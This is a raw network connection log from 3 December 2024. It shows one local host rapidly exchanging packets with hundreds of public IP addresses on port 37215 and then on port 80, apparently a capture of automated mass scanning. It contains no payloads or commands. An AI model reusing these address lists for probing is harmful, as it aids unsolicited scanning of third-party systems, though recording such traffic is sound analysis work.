Dec 3, 2024 21:47:19.430499077 CET	34043	37215	192.168.2.13	41.197.91.236
Dec 3, 2024 21:47:19.430506945 CET	34043	37215	192.168.2.13	156.27.24.20
Dec 3, 2024 21:47:19.430519104 CET	37215	34043	156.70.243.227	192.168.2.13
Dec 3, 2024 21:47:19.430558920 CET	34043	37215	192.168.2.13	156.70.243.227
Dec 3, 2024 21:47:19.430589914 CET	37215	34043	197.5.35.185	192.168.2.13
Dec 3, 2024 21:47:19.430638075 CET	34043	37215	192.168.2.13	197.5.35.185
Dec 3, 2024 21:47:19.430640936 CET	37215	34043	156.251.186.249	192.168.2.13
Dec 3, 2024 21:47:19.430679083 CET	34043	37215	192.168.2.13	156.251.186.249
Dec 3, 2024 21:47:19.430710077 CET	37215	34043	41.5.163.14	192.168.2.13
Dec 3, 2024 21:47:19.430754900 CET	37215	34043	197.97.222.163	192.168.2.13
Dec 3, 2024 21:47:19.430773020 CET	34043	37215	192.168.2.13	41.5.163.14
Dec 3, 2024 21:47:19.430789948 CET	34043	37215	192.168.2.13	197.97.222.163
Dec 3, 2024 21:47:19.432234049 CET	37215	34043	156.95.34.197	192.168.2.13
Dec 3, 2024 21:47:19.432277918 CET	34043	37215	192.168.2.13	156.95.34.197
Dec 3, 2024 21:47:19.432282925 CET	37215	34043	41.234.138.30	192.168.2.13
Dec 3, 2024 21:47:19.432310104 CET	37215	34043	41.150.189.71	192.168.2.13
Dec 3, 2024 21:47:19.432322025 CET	34043	37215	192.168.2.13	41.234.138.30
Dec 3, 2024 21:47:19.432343006 CET	34043	37215	192.168.2.13	41.150.189.71
Dec 3, 2024 21:47:19.432374001 CET	37215	34043	197.12.36.54	192.168.2.13
Dec 3, 2024 21:47:19.432393074 CET	37215	34043	41.36.147.234	192.168.2.13
Dec 3, 2024 21:47:19.432406902 CET	37215	34043	156.110.107.113	192.168.2.13
Dec 3, 2024 21:47:19.432410002 CET	34043	37215	192.168.2.13	197.12.36.54
Dec 3, 2024 21:47:19.432420969 CET	34043	37215	192.168.2.13	41.36.147.234
Dec 3, 2024 21:47:19.432431936 CET	37215	34043	197.19.20.73	192.168.2.13
Dec 3, 2024 21:47:19.432456017 CET	34043	37215	192.168.2.13	156.110.107.113
Dec 3, 2024 21:47:19.432466030 CET	34043	37215	192.168.2.13	197.19.20.73
Dec 3, 2024 21:47:19.432488918 CET	37215	34043	41.126.37.220	192.168.2.13
Dec 3, 2024 21:47:19.432538033 CET	37215	34043	41.102.145.131	192.168.2.13
Dec 3, 2024 21:47:19.432553053 CET	34043	37215	192.168.2.13	41.126.37.220
Dec 3, 2024 21:47:19.432589054 CET	37215	34043	197.41.156.0	192.168.2.13
Dec 3, 2024 21:47:19.432599068 CET	34043	37215	192.168.2.13	41.102.145.131
Dec 3, 2024 21:47:19.432610989 CET	37215	34043	41.55.238.207	192.168.2.13
Dec 3, 2024 21:47:19.432621002 CET	34043	37215	192.168.2.13	197.41.156.0
Dec 3, 2024 21:47:19.432642937 CET	34043	37215	192.168.2.13	41.55.238.207
Dec 3, 2024 21:47:19.432651997 CET	37215	34043	41.100.66.13	192.168.2.13
Dec 3, 2024 21:47:19.432677031 CET	37215	34043	41.110.111.8	192.168.2.13
Dec 3, 2024 21:47:19.432693005 CET	34043	37215	192.168.2.13	41.100.66.13
Dec 3, 2024 21:47:19.432710886 CET	37215	34043	197.157.81.87	192.168.2.13
Dec 3, 2024 21:47:19.432725906 CET	34043	37215	192.168.2.13	41.110.111.8
Dec 3, 2024 21:47:19.432749987 CET	34043	37215	192.168.2.13	197.157.81.87
Dec 3, 2024 21:47:19.432773113 CET	37215	34043	197.20.218.255	192.168.2.13
Dec 3, 2024 21:47:19.432820082 CET	34043	37215	192.168.2.13	197.20.218.255
Dec 3, 2024 21:47:19.432826996 CET	37215	34043	197.116.61.29	192.168.2.13
Dec 3, 2024 21:47:19.432845116 CET	37215	34043	197.3.151.14	192.168.2.13
Dec 3, 2024 21:47:19.432857037 CET	37215	34043	41.117.149.216	192.168.2.13
Dec 3, 2024 21:47:19.432864904 CET	34043	37215	192.168.2.13	197.116.61.29
Dec 3, 2024 21:47:19.432895899 CET	34043	37215	192.168.2.13	41.117.149.216
Dec 3, 2024 21:47:19.432897091 CET	34043	37215	192.168.2.13	197.3.151.14
Dec 3, 2024 21:47:19.432981968 CET	37215	34043	156.142.100.78	192.168.2.13
Dec 3, 2024 21:47:19.433000088 CET	37215	34043	197.143.1.129	192.168.2.13
Dec 3, 2024 21:47:19.433022022 CET	34043	37215	192.168.2.13	156.142.100.78
Dec 3, 2024 21:47:19.433032036 CET	37215	34043	41.154.123.208	192.168.2.13
Dec 3, 2024 21:47:19.433032036 CET	34043	37215	192.168.2.13	197.143.1.129
Dec 3, 2024 21:47:19.433070898 CET	34043	37215	192.168.2.13	41.154.123.208
Dec 3, 2024 21:47:19.433085918 CET	37215	34043	156.25.227.114	192.168.2.13
Dec 3, 2024 21:47:19.433125019 CET	34043	37215	192.168.2.13	156.25.227.114
Dec 3, 2024 21:47:19.433182955 CET	37215	34043	41.43.70.53	192.168.2.13
Dec 3, 2024 21:47:19.433218002 CET	34043	37215	192.168.2.13	41.43.70.53
Dec 3, 2024 21:47:19.433237076 CET	37215	34043	41.107.196.107	192.168.2.13
Dec 3, 2024 21:47:19.433250904 CET	37215	34043	156.145.100.84	192.168.2.13
Dec 3, 2024 21:47:19.433279991 CET	34043	37215	192.168.2.13	156.145.100.84
Dec 3, 2024 21:47:19.433279991 CET	34043	37215	192.168.2.13	41.107.196.107
Dec 3, 2024 21:47:19.433295965 CET	37215	34043	197.142.178.179	192.168.2.13
Dec 3, 2024 21:47:19.433336020 CET	34043	37215	192.168.2.13	197.142.178.179
Dec 3, 2024 21:47:19.433352947 CET	37215	34043	156.9.1.248	192.168.2.13
Dec 3, 2024 21:47:19.433392048 CET	34043	37215	192.168.2.13	156.9.1.248
Dec 3, 2024 21:47:19.433396101 CET	37215	34043	197.89.161.91	192.168.2.13
Dec 3, 2024 21:47:19.433434010 CET	34043	37215	192.168.2.13	197.89.161.91
Dec 3, 2024 21:47:19.434678078 CET	37215	34043	197.224.145.184	192.168.2.13
Dec 3, 2024 21:47:19.434704065 CET	37215	34043	41.154.42.169	192.168.2.13
Dec 3, 2024 21:47:19.434717894 CET	37215	34043	41.87.225.135	192.168.2.13
Dec 3, 2024 21:47:19.434720039 CET	34043	37215	192.168.2.13	197.224.145.184
Dec 3, 2024 21:47:19.434732914 CET	34043	37215	192.168.2.13	41.154.42.169
Dec 3, 2024 21:47:19.434746027 CET	37215	34043	197.61.98.246	192.168.2.13
Dec 3, 2024 21:47:19.434753895 CET	34043	37215	192.168.2.13	41.87.225.135
Dec 3, 2024 21:47:19.434782028 CET	34043	37215	192.168.2.13	197.61.98.246
Dec 3, 2024 21:47:19.434811115 CET	37215	34043	41.31.253.79	192.168.2.13
Dec 3, 2024 21:47:19.434827089 CET	37215	34043	156.130.180.229	192.168.2.13
Dec 3, 2024 21:47:19.434850931 CET	37215	34043	41.242.92.240	192.168.2.13
Dec 3, 2024 21:47:19.434863091 CET	34043	37215	192.168.2.13	41.31.253.79
Dec 3, 2024 21:47:19.434864044 CET	34043	37215	192.168.2.13	156.130.180.229
Dec 3, 2024 21:47:19.434878111 CET	37215	34043	197.238.42.167	192.168.2.13
Dec 3, 2024 21:47:19.434885979 CET	34043	37215	192.168.2.13	41.242.92.240
Dec 3, 2024 21:47:19.434920073 CET	34043	37215	192.168.2.13	197.238.42.167
Dec 3, 2024 21:47:19.434953928 CET	37215	34043	41.212.250.68	192.168.2.13
Dec 3, 2024 21:47:19.434968948 CET	37215	34043	197.213.63.226	192.168.2.13
Dec 3, 2024 21:47:19.434989929 CET	37215	34043	197.82.121.19	192.168.2.13
Dec 3, 2024 21:47:19.434990883 CET	34043	37215	192.168.2.13	41.212.250.68
Dec 3, 2024 21:47:19.435002089 CET	34043	37215	192.168.2.13	197.213.63.226
Dec 3, 2024 21:47:19.435003996 CET	37215	34043	41.1.131.187	192.168.2.13
Dec 3, 2024 21:47:19.435019970 CET	34043	37215	192.168.2.13	197.82.121.19
Dec 3, 2024 21:47:19.435045958 CET	34043	37215	192.168.2.13	41.1.131.187
Dec 3, 2024 21:47:19.435067892 CET	37215	34043	156.159.184.242	192.168.2.13
Dec 3, 2024 21:47:19.435094118 CET	37215	34043	197.1.44.176	192.168.2.13
Dec 3, 2024 21:47:19.435102940 CET	34043	37215	192.168.2.13	156.159.184.242
Dec 3, 2024 21:47:19.435107946 CET	37215	34043	41.117.207.245	192.168.2.13
Dec 3, 2024 21:47:19.435129881 CET	34043	37215	192.168.2.13	197.1.44.176
Dec 3, 2024 21:47:19.435137987 CET	37215	34043	41.228.69.214	192.168.2.13
Dec 3, 2024 21:47:19.435142040 CET	34043	37215	192.168.2.13	41.117.207.245
Dec 3, 2024 21:47:19.435168982 CET	37215	34043	156.201.218.59	192.168.2.13
Dec 3, 2024 21:47:19.435172081 CET	34043	37215	192.168.2.13	41.228.69.214
Dec 3, 2024 21:47:19.435184002 CET	37215	34043	156.178.245.10	192.168.2.13
Dec 3, 2024 21:47:19.435204983 CET	34043	37215	192.168.2.13	156.201.218.59
Dec 3, 2024 21:47:19.435214996 CET	34043	37215	192.168.2.13	156.178.245.10
Dec 3, 2024 21:47:19.435265064 CET	37215	34043	156.155.135.219	192.168.2.13
Dec 3, 2024 21:47:19.435280085 CET	37215	34043	156.167.195.102	192.168.2.13
Dec 3, 2024 21:47:19.435298920 CET	37215	34043	41.62.50.76	192.168.2.13
Dec 3, 2024 21:47:19.435305119 CET	34043	37215	192.168.2.13	156.155.135.219
Dec 3, 2024 21:47:19.435323000 CET	37215	34043	197.121.110.130	192.168.2.13
Dec 3, 2024 21:47:19.435333014 CET	34043	37215	192.168.2.13	41.62.50.76
Dec 3, 2024 21:47:19.435338020 CET	34043	37215	192.168.2.13	156.167.195.102
Dec 3, 2024 21:47:19.435343981 CET	37215	34043	197.16.245.37	192.168.2.13
Dec 3, 2024 21:47:19.435369015 CET	37215	34043	197.83.23.135	192.168.2.13
Dec 3, 2024 21:47:19.435374022 CET	34043	37215	192.168.2.13	197.121.110.130
Dec 3, 2024 21:47:19.435374022 CET	34043	37215	192.168.2.13	197.16.245.37
Dec 3, 2024 21:47:19.435389042 CET	37215	34043	41.46.63.10	192.168.2.13
Dec 3, 2024 21:47:19.435400963 CET	34043	37215	192.168.2.13	197.83.23.135
Dec 3, 2024 21:47:19.435405016 CET	37215	34043	41.96.64.244	192.168.2.13
Dec 3, 2024 21:47:19.435415030 CET	37215	34043	41.191.209.124	192.168.2.13
Dec 3, 2024 21:47:19.435432911 CET	37215	34043	197.18.174.192	192.168.2.13
Dec 3, 2024 21:47:19.435436964 CET	34043	37215	192.168.2.13	41.96.64.244
Dec 3, 2024 21:47:19.435466051 CET	34043	37215	192.168.2.13	197.18.174.192
Dec 3, 2024 21:47:19.435471058 CET	34043	37215	192.168.2.13	41.46.63.10
Dec 3, 2024 21:47:19.435471058 CET	34043	37215	192.168.2.13	41.191.209.124
Dec 3, 2024 21:47:19.436419964 CET	37215	34043	197.152.105.142	192.168.2.13
Dec 3, 2024 21:47:19.436441898 CET	37215	34043	197.187.78.159	192.168.2.13
Dec 3, 2024 21:47:19.436464071 CET	34043	37215	192.168.2.13	197.152.105.142
Dec 3, 2024 21:47:19.436480045 CET	34043	37215	192.168.2.13	197.187.78.159
Dec 3, 2024 21:47:19.436553955 CET	37215	34043	156.52.103.43	192.168.2.13
Dec 3, 2024 21:47:19.436570883 CET	37215	34043	156.152.231.251	192.168.2.13
Dec 3, 2024 21:47:19.436585903 CET	37215	34043	156.190.115.39	192.168.2.13
Dec 3, 2024 21:47:19.436588049 CET	34043	37215	192.168.2.13	156.52.103.43
Dec 3, 2024 21:47:19.436608076 CET	34043	37215	192.168.2.13	156.152.231.251
Dec 3, 2024 21:47:19.436610937 CET	37215	34043	156.219.68.36	192.168.2.13
Dec 3, 2024 21:47:19.436624050 CET	37215	34043	156.79.249.117	192.168.2.13
Dec 3, 2024 21:47:19.436638117 CET	37215	34043	41.65.248.225	192.168.2.13
Dec 3, 2024 21:47:19.436675072 CET	34043	37215	192.168.2.13	41.65.248.225
Dec 3, 2024 21:47:19.436708927 CET	37215	34043	41.215.11.182	192.168.2.13
Dec 3, 2024 21:47:19.436724901 CET	37215	34043	156.74.223.53	192.168.2.13
Dec 3, 2024 21:47:19.436736107 CET	34043	37215	192.168.2.13	156.190.115.39
Dec 3, 2024 21:47:19.436736107 CET	34043	37215	192.168.2.13	156.219.68.36
Dec 3, 2024 21:47:19.436736107 CET	34043	37215	192.168.2.13	156.79.249.117
Dec 3, 2024 21:47:19.436753988 CET	34043	37215	192.168.2.13	41.215.11.182
Dec 3, 2024 21:47:19.436757088 CET	37215	34043	156.95.24.24	192.168.2.13
Dec 3, 2024 21:47:19.436764002 CET	34043	37215	192.168.2.13	156.74.223.53
Dec 3, 2024 21:47:19.436778069 CET	37215	34043	41.193.203.248	192.168.2.13
Dec 3, 2024 21:47:19.436788082 CET	34043	37215	192.168.2.13	156.95.24.24
Dec 3, 2024 21:47:19.436789989 CET	37215	34043	41.219.87.68	192.168.2.13
Dec 3, 2024 21:47:19.436814070 CET	37215	34043	41.156.227.31	192.168.2.13
Dec 3, 2024 21:47:19.436820984 CET	34043	37215	192.168.2.13	41.193.203.248
Dec 3, 2024 21:47:19.436821938 CET	34043	37215	192.168.2.13	41.219.87.68
Dec 3, 2024 21:47:19.436845064 CET	37215	34043	197.235.78.35	192.168.2.13
Dec 3, 2024 21:47:19.436847925 CET	34043	37215	192.168.2.13	41.156.227.31
Dec 3, 2024 21:47:19.436861038 CET	37215	34043	41.226.104.70	192.168.2.13
Dec 3, 2024 21:47:19.436892033 CET	34043	37215	192.168.2.13	41.226.104.70
Dec 3, 2024 21:47:19.436902046 CET	37215	34043	197.46.144.219	192.168.2.13
Dec 3, 2024 21:47:19.436914921 CET	34043	37215	192.168.2.13	197.235.78.35
Dec 3, 2024 21:47:19.436918020 CET	37215	34043	156.129.46.213	192.168.2.13
Dec 3, 2024 21:47:19.436933041 CET	37215	34043	41.79.250.223	192.168.2.13
Dec 3, 2024 21:47:19.436944962 CET	34043	37215	192.168.2.13	197.46.144.219
Dec 3, 2024 21:47:19.436954021 CET	34043	37215	192.168.2.13	156.129.46.213
Dec 3, 2024 21:47:19.436980009 CET	34043	37215	192.168.2.13	41.79.250.223
Dec 3, 2024 21:47:19.437051058 CET	37215	34043	41.25.192.90	192.168.2.13
Dec 3, 2024 21:47:19.437066078 CET	37215	34043	41.95.234.8	192.168.2.13
Dec 3, 2024 21:47:19.437084913 CET	37215	34043	197.82.94.43	192.168.2.13
Dec 3, 2024 21:47:19.437091112 CET	34043	37215	192.168.2.13	41.25.192.90
Dec 3, 2024 21:47:19.437103033 CET	37215	34043	41.252.65.181	192.168.2.13
Dec 3, 2024 21:47:19.437115908 CET	37215	34043	156.137.166.2	192.168.2.13
Dec 3, 2024 21:47:19.437117100 CET	34043	37215	192.168.2.13	197.82.94.43
Dec 3, 2024 21:47:19.437131882 CET	37215	34043	156.100.9.88	192.168.2.13
Dec 3, 2024 21:47:19.437144041 CET	34043	37215	192.168.2.13	156.137.166.2
Dec 3, 2024 21:47:19.437141895 CET	37215	34043	41.247.115.218	192.168.2.13
Dec 3, 2024 21:47:19.437150002 CET	34043	37215	192.168.2.13	41.95.234.8
Dec 3, 2024 21:47:19.437150002 CET	34043	37215	192.168.2.13	41.252.65.181
Dec 3, 2024 21:47:19.437164068 CET	37215	34043	197.75.141.25	192.168.2.13
Dec 3, 2024 21:47:19.437170029 CET	34043	37215	192.168.2.13	156.100.9.88
Dec 3, 2024 21:47:19.437175989 CET	34043	37215	192.168.2.13	41.247.115.218
Dec 3, 2024 21:47:19.437181950 CET	37215	34043	156.60.162.252	192.168.2.13
Dec 3, 2024 21:47:19.437194109 CET	34043	37215	192.168.2.13	197.75.141.25
Dec 3, 2024 21:47:19.437222958 CET	34043	37215	192.168.2.13	156.60.162.252
Dec 3, 2024 21:47:19.437803030 CET	37215	34043	156.31.71.16	192.168.2.13
Dec 3, 2024 21:47:19.437815905 CET	37215	34043	41.71.211.91	192.168.2.13
Dec 3, 2024 21:47:19.437833071 CET	37215	34043	197.79.227.4	192.168.2.13
Dec 3, 2024 21:47:19.437840939 CET	34043	37215	192.168.2.13	156.31.71.16
Dec 3, 2024 21:47:19.437850952 CET	34043	37215	192.168.2.13	41.71.211.91
Dec 3, 2024 21:47:19.437854052 CET	37215	34043	41.59.50.220	192.168.2.13
Dec 3, 2024 21:47:19.437871933 CET	34043	37215	192.168.2.13	197.79.227.4
Dec 3, 2024 21:47:19.437879086 CET	37215	34043	156.12.214.88	192.168.2.13
Dec 3, 2024 21:47:19.437886000 CET	34043	37215	192.168.2.13	41.59.50.220
Dec 3, 2024 21:47:19.437896967 CET	37215	34043	41.211.195.89	192.168.2.13
Dec 3, 2024 21:47:19.437916040 CET	34043	37215	192.168.2.13	156.12.214.88
Dec 3, 2024 21:47:19.437922955 CET	37215	34043	41.168.146.205	192.168.2.13
Dec 3, 2024 21:47:19.437932014 CET	34043	37215	192.168.2.13	41.211.195.89
Dec 3, 2024 21:47:19.437944889 CET	37215	34043	156.233.26.172	192.168.2.13
Dec 3, 2024 21:47:19.437954903 CET	34043	37215	192.168.2.13	41.168.146.205
Dec 3, 2024 21:47:19.437974930 CET	34043	37215	192.168.2.13	156.233.26.172
Dec 3, 2024 21:47:19.437980890 CET	37215	34043	197.183.41.23	192.168.2.13
Dec 3, 2024 21:47:19.437994957 CET	37215	34043	41.133.168.77	192.168.2.13
Dec 3, 2024 21:47:19.438016891 CET	34043	37215	192.168.2.13	197.183.41.23
Dec 3, 2024 21:47:19.438019991 CET	37215	34043	197.96.174.202	192.168.2.13
Dec 3, 2024 21:47:19.438041925 CET	37215	34043	197.144.54.219	192.168.2.13
Dec 3, 2024 21:47:19.438043118 CET	34043	37215	192.168.2.13	41.133.168.77
Dec 3, 2024 21:47:19.438051939 CET	34043	37215	192.168.2.13	197.96.174.202
Dec 3, 2024 21:47:19.438056946 CET	37215	34043	197.172.104.11	192.168.2.13
Dec 3, 2024 21:47:19.438075066 CET	37215	34043	41.182.196.142	192.168.2.13
Dec 3, 2024 21:47:19.438081026 CET	34043	37215	192.168.2.13	197.144.54.219
Dec 3, 2024 21:47:19.438085079 CET	34043	37215	192.168.2.13	197.172.104.11
Dec 3, 2024 21:47:19.438107967 CET	34043	37215	192.168.2.13	41.182.196.142
Dec 3, 2024 21:47:19.438110113 CET	37215	34043	156.41.16.163	192.168.2.13
Dec 3, 2024 21:47:19.438126087 CET	37215	34043	197.249.52.48	192.168.2.13
Dec 3, 2024 21:47:19.438143969 CET	34043	37215	192.168.2.13	156.41.16.163
Dec 3, 2024 21:47:19.438160896 CET	34043	37215	192.168.2.13	197.249.52.48
Dec 3, 2024 21:47:19.438242912 CET	37215	34043	156.236.223.180	192.168.2.13
Dec 3, 2024 21:47:19.438256025 CET	37215	34043	41.76.18.141	192.168.2.13
Dec 3, 2024 21:47:19.438287973 CET	34043	37215	192.168.2.13	156.236.223.180
Dec 3, 2024 21:47:19.438294888 CET	34043	37215	192.168.2.13	41.76.18.141
Dec 3, 2024 21:47:19.438322067 CET	37215	34043	197.190.166.133	192.168.2.13
Dec 3, 2024 21:47:19.438359022 CET	34043	37215	192.168.2.13	197.190.166.133
Dec 3, 2024 21:47:19.438380957 CET	37215	34043	197.81.186.81	192.168.2.13
Dec 3, 2024 21:47:19.438414097 CET	34043	37215	192.168.2.13	197.81.186.81
Dec 3, 2024 21:47:19.438436985 CET	37215	34043	156.75.23.19	192.168.2.13
Dec 3, 2024 21:47:19.438467026 CET	37215	34043	41.20.83.221	192.168.2.13
Dec 3, 2024 21:47:19.438472986 CET	34043	37215	192.168.2.13	156.75.23.19
Dec 3, 2024 21:47:19.438498974 CET	34043	37215	192.168.2.13	41.20.83.221
Dec 3, 2024 21:47:19.438502073 CET	37215	34043	197.98.224.213	192.168.2.13
Dec 3, 2024 21:47:19.438545942 CET	34043	37215	192.168.2.13	197.98.224.213
Dec 3, 2024 21:47:19.438579082 CET	37215	34043	156.75.139.175	192.168.2.13
Dec 3, 2024 21:47:19.438592911 CET	37215	34043	156.157.42.2	192.168.2.13
Dec 3, 2024 21:47:19.438611031 CET	34043	37215	192.168.2.13	156.75.139.175
Dec 3, 2024 21:47:19.438627005 CET	37215	34043	41.134.188.237	192.168.2.13
Dec 3, 2024 21:47:19.438636065 CET	34043	37215	192.168.2.13	156.157.42.2
Dec 3, 2024 21:47:19.438642979 CET	37215	34043	41.194.130.211	192.168.2.13
Dec 3, 2024 21:47:19.438659906 CET	34043	37215	192.168.2.13	41.134.188.237
Dec 3, 2024 21:47:19.438671112 CET	37215	34043	197.241.243.5	192.168.2.13
Dec 3, 2024 21:47:19.438685894 CET	34043	37215	192.168.2.13	41.194.130.211
Dec 3, 2024 21:47:19.438704967 CET	34043	37215	192.168.2.13	197.241.243.5
Dec 3, 2024 21:47:19.439616919 CET	37215	34043	156.201.89.42	192.168.2.13
Dec 3, 2024 21:47:19.439656973 CET	34043	37215	192.168.2.13	156.201.89.42
Dec 3, 2024 21:47:19.439671993 CET	37215	34043	41.129.238.90	192.168.2.13
Dec 3, 2024 21:47:19.439701080 CET	37215	34043	41.243.47.47	192.168.2.13
Dec 3, 2024 21:47:19.439708948 CET	34043	37215	192.168.2.13	41.129.238.90
Dec 3, 2024 21:47:19.439738035 CET	34043	37215	192.168.2.13	41.243.47.47
Dec 3, 2024 21:47:19.439745903 CET	37215	34043	156.185.91.151	192.168.2.13
Dec 3, 2024 21:47:19.439778090 CET	37215	34043	156.148.47.97	192.168.2.13
Dec 3, 2024 21:47:19.439800978 CET	34043	37215	192.168.2.13	156.185.91.151
Dec 3, 2024 21:47:19.439826965 CET	37215	34043	41.60.5.197	192.168.2.13
Dec 3, 2024 21:47:19.439843893 CET	34043	37215	192.168.2.13	156.148.47.97
Dec 3, 2024 21:47:19.439857960 CET	37215	34043	156.153.186.180	192.168.2.13
Dec 3, 2024 21:47:19.439882994 CET	34043	37215	192.168.2.13	41.60.5.197
Dec 3, 2024 21:47:19.439924955 CET	34043	37215	192.168.2.13	156.153.186.180
Dec 3, 2024 21:47:19.439944983 CET	37215	34043	156.26.248.144	192.168.2.13
Dec 3, 2024 21:47:19.439959049 CET	37215	34043	41.14.91.34	192.168.2.13
Dec 3, 2024 21:47:19.439995050 CET	34043	37215	192.168.2.13	41.14.91.34
Dec 3, 2024 21:47:19.439997911 CET	34043	37215	192.168.2.13	156.26.248.144
Dec 3, 2024 21:47:19.440026999 CET	37215	34043	41.153.14.134	192.168.2.13
Dec 3, 2024 21:47:19.440043926 CET	37215	34043	197.221.29.177	192.168.2.13
Dec 3, 2024 21:47:19.440057993 CET	37215	34043	156.182.225.243	192.168.2.13
Dec 3, 2024 21:47:19.440064907 CET	34043	37215	192.168.2.13	41.153.14.134
Dec 3, 2024 21:47:19.440080881 CET	34043	37215	192.168.2.13	197.221.29.177
Dec 3, 2024 21:47:19.440088987 CET	37215	34043	41.141.223.213	192.168.2.13
Dec 3, 2024 21:47:19.440099001 CET	34043	37215	192.168.2.13	156.182.225.243
Dec 3, 2024 21:47:19.440126896 CET	34043	37215	192.168.2.13	41.141.223.213
Dec 3, 2024 21:47:19.440144062 CET	37215	34043	41.179.222.187	192.168.2.13
Dec 3, 2024 21:47:19.440169096 CET	37215	34043	156.20.166.19	192.168.2.13
Dec 3, 2024 21:47:19.440186977 CET	34043	37215	192.168.2.13	41.179.222.187
Dec 3, 2024 21:47:19.440203905 CET	34043	37215	192.168.2.13	156.20.166.19
Dec 3, 2024 21:47:19.440207958 CET	37215	34043	41.185.224.28	192.168.2.13
Dec 3, 2024 21:47:19.440222979 CET	37215	34043	156.106.7.226	192.168.2.13
Dec 3, 2024 21:47:19.440236092 CET	34043	37215	192.168.2.13	41.185.224.28
Dec 3, 2024 21:47:19.440258980 CET	34043	37215	192.168.2.13	156.106.7.226
Dec 3, 2024 21:47:19.440259933 CET	37215	34043	197.112.161.68	192.168.2.13
Dec 3, 2024 21:47:19.440275908 CET	37215	34043	197.249.186.7	192.168.2.13
Dec 3, 2024 21:47:19.440301895 CET	34043	37215	192.168.2.13	197.112.161.68
Dec 3, 2024 21:47:19.440310001 CET	34043	37215	192.168.2.13	197.249.186.7
Dec 3, 2024 21:47:19.440325975 CET	37215	34043	197.42.169.103	192.168.2.13
Dec 3, 2024 21:47:19.440340042 CET	37215	34043	197.246.54.25	192.168.2.13
Dec 3, 2024 21:47:19.440356970 CET	37215	34043	156.136.29.210	192.168.2.13
Dec 3, 2024 21:47:19.440370083 CET	37215	34043	156.95.130.78	192.168.2.13
Dec 3, 2024 21:47:19.440376043 CET	34043	37215	192.168.2.13	197.246.54.25
Dec 3, 2024 21:47:19.440380096 CET	34043	37215	192.168.2.13	197.42.169.103
Dec 3, 2024 21:47:19.440398932 CET	34043	37215	192.168.2.13	156.136.29.210
Dec 3, 2024 21:47:19.440404892 CET	34043	37215	192.168.2.13	156.95.130.78
Dec 3, 2024 21:47:19.440442085 CET	37215	34043	156.226.118.255	192.168.2.13
Dec 3, 2024 21:47:19.440455914 CET	37215	34043	197.9.121.225	192.168.2.13
Dec 3, 2024 21:47:19.440468073 CET	37215	34043	41.106.53.74	192.168.2.13
Dec 3, 2024 21:47:19.440479994 CET	34043	37215	192.168.2.13	156.226.118.255
Dec 3, 2024 21:47:19.440483093 CET	37215	34043	41.31.248.179	192.168.2.13
Dec 3, 2024 21:47:19.440483093 CET	34043	37215	192.168.2.13	197.9.121.225
Dec 3, 2024 21:47:19.440493107 CET	34043	37215	192.168.2.13	41.106.53.74
Dec 3, 2024 21:47:19.440495968 CET	37215	34043	197.206.238.183	192.168.2.13
Dec 3, 2024 21:47:19.440520048 CET	34043	37215	192.168.2.13	41.31.248.179
Dec 3, 2024 21:47:19.440532923 CET	34043	37215	192.168.2.13	197.206.238.183
Dec 3, 2024 21:47:19.440962076 CET	37215	34043	41.164.99.122	192.168.2.13
Dec 3, 2024 21:47:19.440975904 CET	37215	34043	156.48.80.49	192.168.2.13
Dec 3, 2024 21:47:19.440999985 CET	34043	37215	192.168.2.13	41.164.99.122
Dec 3, 2024 21:47:19.441000938 CET	37215	34043	41.251.90.231	192.168.2.13
Dec 3, 2024 21:47:19.441015005 CET	34043	37215	192.168.2.13	156.48.80.49
Dec 3, 2024 21:47:19.441015959 CET	37215	34043	197.114.107.223	192.168.2.13
Dec 3, 2024 21:47:19.441032887 CET	37215	34043	41.110.161.214	192.168.2.13
Dec 3, 2024 21:47:19.441035986 CET	34043	37215	192.168.2.13	41.251.90.231
Dec 3, 2024 21:47:19.441062927 CET	34043	37215	192.168.2.13	197.114.107.223
Dec 3, 2024 21:47:19.441076040 CET	34043	37215	192.168.2.13	41.110.161.214
Dec 3, 2024 21:47:19.441112995 CET	37215	34043	41.26.94.177	192.168.2.13
Dec 3, 2024 21:47:19.441127062 CET	37215	34043	41.218.109.15	192.168.2.13
Dec 3, 2024 21:47:19.441148043 CET	34043	37215	192.168.2.13	41.26.94.177
Dec 3, 2024 21:47:19.441164017 CET	34043	37215	192.168.2.13	41.218.109.15
Dec 3, 2024 21:47:20.050136089 CET	39419	80	192.168.2.13	186.84.218.11
Dec 3, 2024 21:47:20.050138950 CET	39419	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:20.050137043 CET	39419	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:20.050137043 CET	39419	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:20.050138950 CET	39419	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:20.050163031 CET	39419	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:20.050164938 CET	39419	80	192.168.2.13	39.103.0.196
Dec 3, 2024 21:47:20.050168037 CET	39419	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:20.050164938 CET	39419	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:20.050164938 CET	39419	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:20.050170898 CET	39419	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:20.050168037 CET	39419	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:20.050184011 CET	39419	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:20.050184965 CET	39419	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:20.050184965 CET	39419	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:20.050206900 CET	39419	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:20.050209045 CET	39419	80	192.168.2.13	132.216.212.60
Dec 3, 2024 21:47:20.050206900 CET	39419	80	192.168.2.13	187.198.156.166
Dec 3, 2024 21:47:20.050214052 CET	39419	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:20.050214052 CET	39419	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:20.050214052 CET	39419	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:20.050231934 CET	39419	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:20.050232887 CET	39419	80	192.168.2.13	170.41.22.77
Dec 3, 2024 21:47:20.050232887 CET	39419	80	192.168.2.13	159.11.151.174
Dec 3, 2024 21:47:20.050232887 CET	39419	80	192.168.2.13	12.237.96.134
Dec 3, 2024 21:47:20.050232887 CET	39419	80	192.168.2.13	23.174.237.99
Dec 3, 2024 21:47:20.050234079 CET	39419	80	192.168.2.13	200.178.165.62
